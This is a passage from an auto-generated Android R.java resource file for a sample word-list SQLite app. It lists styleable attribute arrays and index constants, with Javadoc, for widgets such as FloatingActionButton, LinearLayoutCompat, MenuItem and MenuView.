Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:thickness
*/
public static final int DrawerArrowToggle_thickness = 7;
/** Attributes that can be used with a FloatingActionButton.
<p>Includes the following attributes:</p>
<table>
<colgroup align="left" />
<colgroup align="left" />
<tr><th>Attribute</th><th>Description</th></tr>
<tr><td><code>{@link #FloatingActionButton_backgroundTint com.android.example.wordlistsql:backgroundTint}</code></td><td></td></tr>
<tr><td><code>{@link #FloatingActionButton_backgroundTintMode com.android.example.wordlistsql:backgroundTintMode}</code></td><td></td></tr>
<tr><td><code>{@link #FloatingActionButton_borderWidth com.android.example.wordlistsql:borderWidth}</code></td><td></td></tr>
<tr><td><code>{@link #FloatingActionButton_elevation com.android.example.wordlistsql:elevation}</code></td><td></td></tr>
<tr><td><code>{@link #FloatingActionButton_fabSize com.android.example.wordlistsql:fabSize}</code></td><td></td></tr>
<tr><td><code>{@link #FloatingActionButton_pressedTranslationZ com.android.example.wordlistsql:pressedTranslationZ}</code></td><td></td></tr>
<tr><td><code>{@link #FloatingActionButton_rippleColor com.android.example.wordlistsql:rippleColor}</code></td><td></td></tr>
<tr><td><code>{@link #FloatingActionButton_useCompatPadding com.android.example.wordlistsql:useCompatPadding}</code></td><td></td></tr>
</table>
@see #FloatingActionButton_backgroundTint
@see #FloatingActionButton_backgroundTintMode
@see #FloatingActionButton_borderWidth
@see #FloatingActionButton_elevation
@see #FloatingActionButton_fabSize
@see #FloatingActionButton_pressedTranslationZ
@see #FloatingActionButton_rippleColor
@see #FloatingActionButton_useCompatPadding
*/
public static final int[] FloatingActionButton = {
0x7f01001c, 0x7f0100ca, 0x7f0100cb, 0x7f0100cc,
0x7f0100cd, 0x7f0100ce, 0x7f01012d, 0x7f01012e
};
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#backgroundTint}
attribute's value can be found in the {@link #FloatingActionButton} array.
<p>Must be a color value, in the form of "<code>#<i>rgb</i></code>", "<code>#<i>argb</i></code>",
"<code>#<i>rrggbb</i></code>", or "<code>#<i>aarrggbb</i></code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:backgroundTint
*/
public static final int FloatingActionButton_backgroundTint = 6;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#backgroundTintMode}
attribute's value can be found in the {@link #FloatingActionButton} array.
<p>Must be one of the following constant values.</p>
<table>
<colgroup align="left" />
<colgroup align="left" />
<colgroup align="left" />
<tr><th>Constant</th><th>Value</th><th>Description</th></tr>
<tr><td><code>src_over</code></td><td>3</td><td></td></tr>
<tr><td><code>src_in</code></td><td>5</td><td></td></tr>
<tr><td><code>src_atop</code></td><td>9</td><td></td></tr>
<tr><td><code>multiply</code></td><td>14</td><td></td></tr>
<tr><td><code>screen</code></td><td>15</td><td></td></tr>
</table>
@attr name com.android.example.wordlistsql:backgroundTintMode
*/
public static final int FloatingActionButton_backgroundTintMode = 7;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#borderWidth}
attribute's value can be found in the {@link #FloatingActionButton} array.
<p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:borderWidth
*/
public static final int FloatingActionButton_borderWidth = 4;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#elevation}
attribute's value can be found in the {@link #FloatingActionButton} array.
<p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:elevation
*/
public static final int FloatingActionButton_elevation = 0;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#fabSize}
attribute's value can be found in the {@link #FloatingActionButton} array.
<p>Must be one of the following constant values.</p>
<table>
<colgroup align="left" />
<colgroup align="left" />
<colgroup align="left" />
<tr><th>Constant</th><th>Value</th><th>Description</th></tr>
<tr><td><code>auto</code></td><td>-1</td><td></td></tr>
<tr><td><code>normal</code></td><td>0</td><td></td></tr>
<tr><td><code>mini</code></td><td>1</td><td></td></tr>
</table>
@attr name com.android.example.wordlistsql:fabSize
*/
public static final int FloatingActionButton_fabSize = 2;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#pressedTranslationZ}
attribute's value can be found in the {@link #FloatingActionButton} array.
<p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:pressedTranslationZ
*/
public static final int FloatingActionButton_pressedTranslationZ = 3;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#rippleColor}
attribute's value can be found in the {@link #FloatingActionButton} array.
<p>Must be a color value, in the form of "<code>#<i>rgb</i></code>", "<code>#<i>argb</i></code>",
"<code>#<i>rrggbb</i></code>", or "<code>#<i>aarrggbb</i></code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:rippleColor
*/
public static final int FloatingActionButton_rippleColor = 1;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#useCompatPadding}
attribute's value can be found in the {@link #FloatingActionButton} array.
<p>Must be a boolean value, either "<code>true</code>" or "<code>false</code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:useCompatPadding
*/
public static final int FloatingActionButton_useCompatPadding = 5;
/** Attributes that can be used with a ForegroundLinearLayout.
<p>Includes the following attributes:</p>
<table>
<colgroup align="left" />
<colgroup align="left" />
<tr><th>Attribute</th><th>Description</th></tr>
<tr><td><code>{@link #ForegroundLinearLayout_android_foreground android:foreground}</code></td><td></td></tr>
<tr><td><code>{@link #ForegroundLinearLayout_android_foregroundGravity android:foregroundGravity}</code></td><td></td></tr>
<tr><td><code>{@link #ForegroundLinearLayout_foregroundInsidePadding com.android.example.wordlistsql:foregroundInsidePadding}</code></td><td></td></tr>
</table>
@see #ForegroundLinearLayout_android_foreground
@see #ForegroundLinearLayout_android_foregroundGravity
@see #ForegroundLinearLayout_foregroundInsidePadding
*/
public static final int[] ForegroundLinearLayout = {
0x01010109, 0x01010200, 0x7f0100cf
};
/**
<p>This symbol is the offset where the {@link android.R.attr#foreground}
attribute's value can be found in the {@link #ForegroundLinearLayout} array.
@attr name android:foreground
*/
public static final int ForegroundLinearLayout_android_foreground = 0;
/**
<p>This symbol is the offset where the {@link android.R.attr#foregroundGravity}
attribute's value can be found in the {@link #ForegroundLinearLayout} array.
@attr name android:foregroundGravity
*/
public static final int ForegroundLinearLayout_android_foregroundGravity = 1;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#foregroundInsidePadding}
attribute's value can be found in the {@link #ForegroundLinearLayout} array.
<p>Must be a boolean value, either "<code>true</code>" or "<code>false</code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:foregroundInsidePadding
*/
public static final int ForegroundLinearLayout_foregroundInsidePadding = 2;
/** Attributes that can be used with a LinearLayoutCompat.
<p>Includes the following attributes:</p>
<table>
<colgroup align="left" />
<colgroup align="left" />
<tr><th>Attribute</th><th>Description</th></tr>
<tr><td><code>{@link #LinearLayoutCompat_android_baselineAligned android:baselineAligned}</code></td><td></td></tr>
<tr><td><code>{@link #LinearLayoutCompat_android_baselineAlignedChildIndex android:baselineAlignedChildIndex}</code></td><td></td></tr>
<tr><td><code>{@link #LinearLayoutCompat_android_gravity android:gravity}</code></td><td></td></tr>
<tr><td><code>{@link #LinearLayoutCompat_android_orientation android:orientation}</code></td><td></td></tr>
<tr><td><code>{@link #LinearLayoutCompat_android_weightSum android:weightSum}</code></td><td></td></tr>
<tr><td><code>{@link #LinearLayoutCompat_divider com.android.example.wordlistsql:divider}</code></td><td></td></tr>
<tr><td><code>{@link #LinearLayoutCompat_dividerPadding com.android.example.wordlistsql:dividerPadding}</code></td><td></td></tr>
<tr><td><code>{@link #LinearLayoutCompat_measureWithLargestChild com.android.example.wordlistsql:measureWithLargestChild}</code></td><td></td></tr>
<tr><td><code>{@link #LinearLayoutCompat_showDividers com.android.example.wordlistsql:showDividers}</code></td><td></td></tr>
</table>
@see #LinearLayoutCompat_android_baselineAligned
@see #LinearLayoutCompat_android_baselineAlignedChildIndex
@see #LinearLayoutCompat_android_gravity
@see #LinearLayoutCompat_android_orientation
@see #LinearLayoutCompat_android_weightSum
@see #LinearLayoutCompat_divider
@see #LinearLayoutCompat_dividerPadding
@see #LinearLayoutCompat_measureWithLargestChild
@see #LinearLayoutCompat_showDividers
*/
public static final int[] LinearLayoutCompat = {
0x010100af, 0x010100c4, 0x01010126, 0x01010127,
0x01010128, 0x7f01000b, 0x7f0100d0, 0x7f0100d1,
0x7f0100d2
};
/**
<p>This symbol is the offset where the {@link android.R.attr#baselineAligned}
attribute's value can be found in the {@link #LinearLayoutCompat} array.
@attr name android:baselineAligned
*/
public static final int LinearLayoutCompat_android_baselineAligned = 2;
/**
<p>This symbol is the offset where the {@link android.R.attr#baselineAlignedChildIndex}
attribute's value can be found in the {@link #LinearLayoutCompat} array.
@attr name android:baselineAlignedChildIndex
*/
public static final int LinearLayoutCompat_android_baselineAlignedChildIndex = 3;
/**
<p>This symbol is the offset where the {@link android.R.attr#gravity}
attribute's value can be found in the {@link #LinearLayoutCompat} array.
@attr name android:gravity
*/
public static final int LinearLayoutCompat_android_gravity = 0;
/**
<p>This symbol is the offset where the {@link android.R.attr#orientation}
attribute's value can be found in the {@link #LinearLayoutCompat} array.
@attr name android:orientation
*/
public static final int LinearLayoutCompat_android_orientation = 1;
/**
<p>This symbol is the offset where the {@link android.R.attr#weightSum}
attribute's value can be found in the {@link #LinearLayoutCompat} array.
@attr name android:weightSum
*/
public static final int LinearLayoutCompat_android_weightSum = 4;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#divider}
attribute's value can be found in the {@link #LinearLayoutCompat} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:divider
*/
public static final int LinearLayoutCompat_divider = 5;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#dividerPadding}
attribute's value can be found in the {@link #LinearLayoutCompat} array.
<p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:dividerPadding
*/
public static final int LinearLayoutCompat_dividerPadding = 8;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#measureWithLargestChild}
attribute's value can be found in the {@link #LinearLayoutCompat} array.
<p>Must be a boolean value, either "<code>true</code>" or "<code>false</code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:measureWithLargestChild
*/
public static final int LinearLayoutCompat_measureWithLargestChild = 6;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#showDividers}
attribute's value can be found in the {@link #LinearLayoutCompat} array.
<p>Must be one or more (separated by '|') of the following constant values.</p>
<table>
<colgroup align="left" />
<colgroup align="left" />
<colgroup align="left" />
<tr><th>Constant</th><th>Value</th><th>Description</th></tr>
<tr><td><code>none</code></td><td>0</td><td></td></tr>
<tr><td><code>beginning</code></td><td>1</td><td></td></tr>
<tr><td><code>middle</code></td><td>2</td><td></td></tr>
<tr><td><code>end</code></td><td>4</td><td></td></tr>
</table>
@attr name com.android.example.wordlistsql:showDividers
*/
public static final int LinearLayoutCompat_showDividers = 7;
/** Attributes that can be used with a LinearLayoutCompat_Layout.
<p>Includes the following attributes:</p>
<table>
<colgroup align="left" />
<colgroup align="left" />
<tr><th>Attribute</th><th>Description</th></tr>
<tr><td><code>{@link #LinearLayoutCompat_Layout_android_layout_gravity android:layout_gravity}</code></td><td></td></tr>
<tr><td><code>{@link #LinearLayoutCompat_Layout_android_layout_height android:layout_height}</code></td><td></td></tr>
<tr><td><code>{@link #LinearLayoutCompat_Layout_android_layout_weight android:layout_weight}</code></td><td></td></tr>
<tr><td><code>{@link #LinearLayoutCompat_Layout_android_layout_width android:layout_width}</code></td><td></td></tr>
</table>
@see #LinearLayoutCompat_Layout_android_layout_gravity
@see #LinearLayoutCompat_Layout_android_layout_height
@see #LinearLayoutCompat_Layout_android_layout_weight
@see #LinearLayoutCompat_Layout_android_layout_width
*/
public static final int[] LinearLayoutCompat_Layout = {
0x010100b3, 0x010100f4, 0x010100f5, 0x01010181
};
/**
<p>This symbol is the offset where the {@link android.R.attr#layout_gravity}
attribute's value can be found in the {@link #LinearLayoutCompat_Layout} array.
@attr name android:layout_gravity
*/
public static final int LinearLayoutCompat_Layout_android_layout_gravity = 0;
/**
<p>This symbol is the offset where the {@link android.R.attr#layout_height}
attribute's value can be found in the {@link #LinearLayoutCompat_Layout} array.
@attr name android:layout_height
*/
public static final int LinearLayoutCompat_Layout_android_layout_height = 2;
/**
<p>This symbol is the offset where the {@link android.R.attr#layout_weight}
attribute's value can be found in the {@link #LinearLayoutCompat_Layout} array.
@attr name android:layout_weight
*/
public static final int LinearLayoutCompat_Layout_android_layout_weight = 3;
/**
<p>This symbol is the offset where the {@link android.R.attr#layout_width}
attribute's value can be found in the {@link #LinearLayoutCompat_Layout} array.
@attr name android:layout_width
*/
public static final int LinearLayoutCompat_Layout_android_layout_width = 1;
/** Attributes that can be used with a ListPopupWindow.
<p>Includes the following attributes:</p>
<table>
<colgroup align="left" />
<colgroup align="left" />
<tr><th>Attribute</th><th>Description</th></tr>
<tr><td><code>{@link #ListPopupWindow_android_dropDownHorizontalOffset android:dropDownHorizontalOffset}</code></td><td></td></tr>
<tr><td><code>{@link #ListPopupWindow_android_dropDownVerticalOffset android:dropDownVerticalOffset}</code></td><td></td></tr>
</table>
@see #ListPopupWindow_android_dropDownHorizontalOffset
@see #ListPopupWindow_android_dropDownVerticalOffset
*/
public static final int[] ListPopupWindow = {
0x010102ac, 0x010102ad
};
/**
<p>This symbol is the offset where the {@link android.R.attr#dropDownHorizontalOffset}
attribute's value can be found in the {@link #ListPopupWindow} array.
@attr name android:dropDownHorizontalOffset
*/
public static final int ListPopupWindow_android_dropDownHorizontalOffset = 0;
/**
<p>This symbol is the offset where the {@link android.R.attr#dropDownVerticalOffset}
attribute's value can be found in the {@link #ListPopupWindow} array.
@attr name android:dropDownVerticalOffset
*/
public static final int ListPopupWindow_android_dropDownVerticalOffset = 1;
/** Attributes that can be used with a MenuGroup.
<p>Includes the following attributes:</p>
<table>
<colgroup align="left" />
<colgroup align="left" />
<tr><th>Attribute</th><th>Description</th></tr>
<tr><td><code>{@link #MenuGroup_android_checkableBehavior android:checkableBehavior}</code></td><td></td></tr>
<tr><td><code>{@link #MenuGroup_android_enabled android:enabled}</code></td><td></td></tr>
<tr><td><code>{@link #MenuGroup_android_id android:id}</code></td><td></td></tr>
<tr><td><code>{@link #MenuGroup_android_menuCategory android:menuCategory}</code></td><td></td></tr>
<tr><td><code>{@link #MenuGroup_android_orderInCategory android:orderInCategory}</code></td><td></td></tr>
<tr><td><code>{@link #MenuGroup_android_visible android:visible}</code></td><td></td></tr>
</table>
@see #MenuGroup_android_checkableBehavior
@see #MenuGroup_android_enabled
@see #MenuGroup_android_id
@see #MenuGroup_android_menuCategory
@see #MenuGroup_android_orderInCategory
@see #MenuGroup_android_visible
*/
public static final int[] MenuGroup = {
0x0101000e, 0x010100d0, 0x01010194, 0x010101de,
0x010101df, 0x010101e0
};
/**
<p>This symbol is the offset where the {@link android.R.attr#checkableBehavior}
attribute's value can be found in the {@link #MenuGroup} array.
@attr name android:checkableBehavior
*/
public static final int MenuGroup_android_checkableBehavior = 5;
/**
<p>This symbol is the offset where the {@link android.R.attr#enabled}
attribute's value can be found in the {@link #MenuGroup} array.
@attr name android:enabled
*/
public static final int MenuGroup_android_enabled = 0;
/**
<p>This symbol is the offset where the {@link android.R.attr#id}
attribute's value can be found in the {@link #MenuGroup} array.
@attr name android:id
*/
public static final int MenuGroup_android_id = 1;
/**
<p>This symbol is the offset where the {@link android.R.attr#menuCategory}
attribute's value can be found in the {@link #MenuGroup} array.
@attr name android:menuCategory
*/
public static final int MenuGroup_android_menuCategory = 3;
/**
<p>This symbol is the offset where the {@link android.R.attr#orderInCategory}
attribute's value can be found in the {@link #MenuGroup} array.
@attr name android:orderInCategory
*/
public static final int MenuGroup_android_orderInCategory = 4;
/**
<p>This symbol is the offset where the {@link android.R.attr#visible}
attribute's value can be found in the {@link #MenuGroup} array.
@attr name android:visible
*/
public static final int MenuGroup_android_visible = 2;
/** Attributes that can be used with a MenuItem.
<p>Includes the following attributes:</p>
<table>
<colgroup align="left" />
<colgroup align="left" />
<tr><th>Attribute</th><th>Description</th></tr>
<tr><td><code>{@link #MenuItem_actionLayout com.android.example.wordlistsql:actionLayout}</code></td><td></td></tr>
<tr><td><code>{@link #MenuItem_actionProviderClass com.android.example.wordlistsql:actionProviderClass}</code></td><td></td></tr>
<tr><td><code>{@link #MenuItem_actionViewClass com.android.example.wordlistsql:actionViewClass}</code></td><td></td></tr>
<tr><td><code>{@link #MenuItem_android_alphabeticShortcut android:alphabeticShortcut}</code></td><td></td></tr>
<tr><td><code>{@link #MenuItem_android_checkable android:checkable}</code></td><td></td></tr>
<tr><td><code>{@link #MenuItem_android_checked android:checked}</code></td><td></td></tr>
<tr><td><code>{@link #MenuItem_android_enabled android:enabled}</code></td><td></td></tr>
<tr><td><code>{@link #MenuItem_android_icon android:icon}</code></td><td></td></tr>
<tr><td><code>{@link #MenuItem_android_id android:id}</code></td><td></td></tr>
<tr><td><code>{@link #MenuItem_android_menuCategory android:menuCategory}</code></td><td></td></tr>
<tr><td><code>{@link #MenuItem_android_numericShortcut android:numericShortcut}</code></td><td></td></tr>
<tr><td><code>{@link #MenuItem_android_onClick android:onClick}</code></td><td></td></tr>
<tr><td><code>{@link #MenuItem_android_orderInCategory android:orderInCategory}</code></td><td></td></tr>
<tr><td><code>{@link #MenuItem_android_title android:title}</code></td><td></td></tr>
<tr><td><code>{@link #MenuItem_android_titleCondensed android:titleCondensed}</code></td><td></td></tr>
<tr><td><code>{@link #MenuItem_android_visible android:visible}</code></td><td></td></tr>
<tr><td><code>{@link #MenuItem_showAsAction com.android.example.wordlistsql:showAsAction}</code></td><td></td></tr>
</table>
@see #MenuItem_actionLayout
@see #MenuItem_actionProviderClass
@see #MenuItem_actionViewClass
@see #MenuItem_android_alphabeticShortcut
@see #MenuItem_android_checkable
@see #MenuItem_android_checked
@see #MenuItem_android_enabled
@see #MenuItem_android_icon
@see #MenuItem_android_id
@see #MenuItem_android_menuCategory
@see #MenuItem_android_numericShortcut
@see #MenuItem_android_onClick
@see #MenuItem_android_orderInCategory
@see #MenuItem_android_title
@see #MenuItem_android_titleCondensed
@see #MenuItem_android_visible
@see #MenuItem_showAsAction
*/
public static final int[] MenuItem = {
0x01010002, 0x0101000e, 0x010100d0, 0x01010106,
0x01010194, 0x010101de, 0x010101df, 0x010101e1,
0x010101e2, 0x010101e3, 0x010101e4, 0x010101e5,
0x0101026f, 0x7f0100d3, 0x7f0100d4, 0x7f0100d5,
0x7f0100d6
};
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#actionLayout}
attribute's value can be found in the {@link #MenuItem} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:actionLayout
*/
public static final int MenuItem_actionLayout = 14;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#actionProviderClass}
attribute's value can be found in the {@link #MenuItem} array.
<p>Must be a string value, using '\\;' to escape characters such as '\\n' or '\\uxxxx' for a unicode character.
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:actionProviderClass
*/
public static final int MenuItem_actionProviderClass = 16;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#actionViewClass}
attribute's value can be found in the {@link #MenuItem} array.
<p>Must be a string value, using '\\;' to escape characters such as '\\n' or '\\uxxxx' for a unicode character.
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:actionViewClass
*/
public static final int MenuItem_actionViewClass = 15;
/**
<p>This symbol is the offset where the {@link android.R.attr#alphabeticShortcut}
attribute's value can be found in the {@link #MenuItem} array.
@attr name android:alphabeticShortcut
*/
public static final int MenuItem_android_alphabeticShortcut = 9;
/**
<p>This symbol is the offset where the {@link android.R.attr#checkable}
attribute's value can be found in the {@link #MenuItem} array.
@attr name android:checkable
*/
public static final int MenuItem_android_checkable = 11;
/**
<p>This symbol is the offset where the {@link android.R.attr#checked}
attribute's value can be found in the {@link #MenuItem} array.
@attr name android:checked
*/
public static final int MenuItem_android_checked = 3;
/**
<p>This symbol is the offset where the {@link android.R.attr#enabled}
attribute's value can be found in the {@link #MenuItem} array.
@attr name android:enabled
*/
public static final int MenuItem_android_enabled = 1;
/**
<p>This symbol is the offset where the {@link android.R.attr#icon}
attribute's value can be found in the {@link #MenuItem} array.
@attr name android:icon
*/
public static final int MenuItem_android_icon = 0;
/**
<p>This symbol is the offset where the {@link android.R.attr#id}
attribute's value can be found in the {@link #MenuItem} array.
@attr name android:id
*/
public static final int MenuItem_android_id = 2;
/**
<p>This symbol is the offset where the {@link android.R.attr#menuCategory}
attribute's value can be found in the {@link #MenuItem} array.
@attr name android:menuCategory
*/
public static final int MenuItem_android_menuCategory = 5;
/**
<p>This symbol is the offset where the {@link android.R.attr#numericShortcut}
attribute's value can be found in the {@link #MenuItem} array.
@attr name android:numericShortcut
*/
public static final int MenuItem_android_numericShortcut = 10;
/**
<p>This symbol is the offset where the {@link android.R.attr#onClick}
attribute's value can be found in the {@link #MenuItem} array.
@attr name android:onClick
*/
public static final int MenuItem_android_onClick = 12;
/**
<p>This symbol is the offset where the {@link android.R.attr#orderInCategory}
attribute's value can be found in the {@link #MenuItem} array.
@attr name android:orderInCategory
*/
public static final int MenuItem_android_orderInCategory = 6;
/**
<p>This symbol is the offset where the {@link android.R.attr#title}
attribute's value can be found in the {@link #MenuItem} array.
@attr name android:title
*/
public static final int MenuItem_android_title = 7;
/**
<p>This symbol is the offset where the {@link android.R.attr#titleCondensed}
attribute's value can be found in the {@link #MenuItem} array.
@attr name android:titleCondensed
*/
public static final int MenuItem_android_titleCondensed = 8;
/**
<p>This symbol is the offset where the {@link android.R.attr#visible}
attribute's value can be found in the {@link #MenuItem} array.
@attr name android:visible
*/
public static final int MenuItem_android_visible = 4;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#showAsAction}
attribute's value can be found in the {@link #MenuItem} array.
<p>Must be one or more (separated by '|') of the following constant values.</p>
<table>
<colgroup align="left" />
<colgroup align="left" />
<colgroup align="left" />
<tr><th>Constant</th><th>Value</th><th>Description</th></tr>
<tr><td><code>never</code></td><td>0</td><td></td></tr>
<tr><td><code>ifRoom</code></td><td>1</td><td></td></tr>
<tr><td><code>always</code></td><td>2</td><td></td></tr>
<tr><td><code>withText</code></td><td>4</td><td></td></tr>
<tr><td><code>collapseActionView</code></td><td>8</td><td></td></tr>
</table>
@attr name com.android.example.wordlistsql:showAsAction
*/
public static final int MenuItem_showAsAction = 13;
/** Attributes that can be used with a MenuView.
<p>Includes the following attributes:</p>
<table>
<colgroup align="left" />
<colgroup align="left" />
<tr><th>Attribute</th><th>Description</th></tr>
<tr><td><code>{@link #MenuView_android_headerBackground android:headerBackground}</code></td><td></td></tr>
<tr><td><code>{@link #MenuView_android_horizontalDivider android:horizontalDivider}</code></td><td></td></tr>
<tr><td><code>{@link #MenuView_android_itemBackground android:itemBackground}</code></td><td></td></tr>
<tr><td><code>{@link #MenuView_android_itemIconDisabledAlpha android:itemIconDisabledAlpha}</code></td><td></td></tr>
<tr><td><code>{@link #MenuView_android_itemTextAppearance android:itemTextAppearance}</code></td><td></td></tr>
<tr><td><code>{@link #MenuView_android_verticalDivider android:verticalDivider}</code></td><td></td></tr>
<tr><td><code>{@link #MenuView_android_windowAnimationStyle android:windowAnimationStyle}</code></td><td></td></tr>
<tr><td><code>{@link #MenuView_preserveIconSpacing com.android.example.wordlistsql:preserveIconSpacing}</code></td><td></td></tr>
<tr><td><code>{@link #MenuView_subMenuArrow com.android.example.wordlistsql:subMenuArrow}</code></td><td></td></tr>
</table>
@see #MenuView_android_headerBackground
@see #MenuView_android_horizontalDivider
@see #MenuView_android_itemBackground
@see #MenuView_android_itemIconDisabledAlpha
@see #MenuView_android_itemTextAppearance
@see #MenuView_android_verticalDivider
@see #MenuView_android_windowAnimationStyle
@see #MenuView_preserveIconSpacing
@see #MenuView_subMenuArrow
*/
public static final int[] MenuView = {
0x010100ae, 0x0101012c, 0x0101012d, 0x0101012e,
0x0101012f, 0x01010130, 0x01010131, 0x7f0100d7,
0x7f0100d8
};
/**
<p>This symbol is the offset where the {@link android.R.attr#headerBackground}
attribute's value can be found in the {@link #MenuView} array.
@attr name android:headerBackground
*/
public static final int MenuView_android_headerBackground = 4;
/**
<p>This symbol is the offset where the {@link android.R.attr#horizontalDivider}
attribute's value can be found in the {@link #MenuView} array.
@attr name android:horizontalDivider
*/
public static final int MenuView_android_horizontalDivider = 2;
/**
<p>This symbol is the offset where the {@link android.R.attr#itemBackground}
attribute's value can be found in the {@link #MenuView} array.
@attr name android:itemBackground
*/
public static final int MenuView_android_itemBackground = 5;
/**
<p>This symbol is the offset where the {@link android.R.attr#itemIconDisabledAlpha}
attribute's value can be found in the {@link #MenuView} array.
@attr name android:itemIconDisabledAlpha
*/
public static final int MenuView_android_itemIconDisabledAlpha = 6;
/**
<p>This symbol is the offset where the {@link android.R.attr#itemTextAppearance}
attribute's value can be found in the {@link #MenuView} array.
@attr name android:itemTextAppearance
*/
public static final int MenuView_android_itemTextAppearance = 1;
/**
<p>This symbol is the offset where the {@link android.R.attr#verticalDivider}
attribute's value can be found in the {@link #MenuView} array.
@attr name android:verticalDivider
*/
public static final int MenuView_android_verticalDivider = 3;
/**
<p>This symbol is the offset where the {@link android.R.attr#windowAnimationStyle}
attribute's value can be found in the {@link #MenuView} array.
@attr name android:windowAnimationStyle
*/
public static final int MenuView_android_windowAnimationStyle = 0;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#preserveIconSpacing}
attribute's value can be found in the {@link #MenuView} array.
<p>Must be a boolean value, either "<code>true</code>" or "<code>false</code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:preserveIconSpacing
*/
public static final int MenuView_preserveIconSpacing = 7;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#subMenuArrow}
attribute's value can be found in the {@link #MenuView} array.
